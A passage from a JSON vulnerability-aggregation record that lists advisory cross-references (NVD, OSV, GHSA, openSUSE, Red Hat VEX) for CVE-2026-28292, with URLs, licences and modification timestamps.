permitted","modified_at":"2026-03-13T00:00:00Z","relation":"self"},{"provider":"nvd","source_id":"CVE-2026-28292","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28292","relation":"self"},{"provider":"osv","source_id":"DHI-pohs-rqeq-d6wa-ealp","url":"https://osv.dev/vulnerability/DHI-pohs-rqeq-d6wa-ealp","license":"Apache-2.0","modified_at":"2026-11-17T09:45:07.940124Z","relation":"self"},{"provider":"osv","source_id":"GHSA-r275-fr43-pm7q","url":"https://osv.dev/vulnerability/GHSA-r275-fr43-pm7q","license":"CC-BY-4.0","modified_at":"2026-09-10T03:50:40.612526Z","relation":"self"},{"provider":"osv","source_id":"openSUSE-SU-2026:10327-1","url":"https://osv.dev/vulnerability/openSUSE-SU-2026:10327-1","modified_at":"2026-03-14T08:18:00.870379Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2026-28292","url":"https://access.redhat.com/security/cve/CVE-2026-28292","license":"CC-BY-4.0","modified_at":"2026-03-11T17:46:59Z","relation":"self"}]}
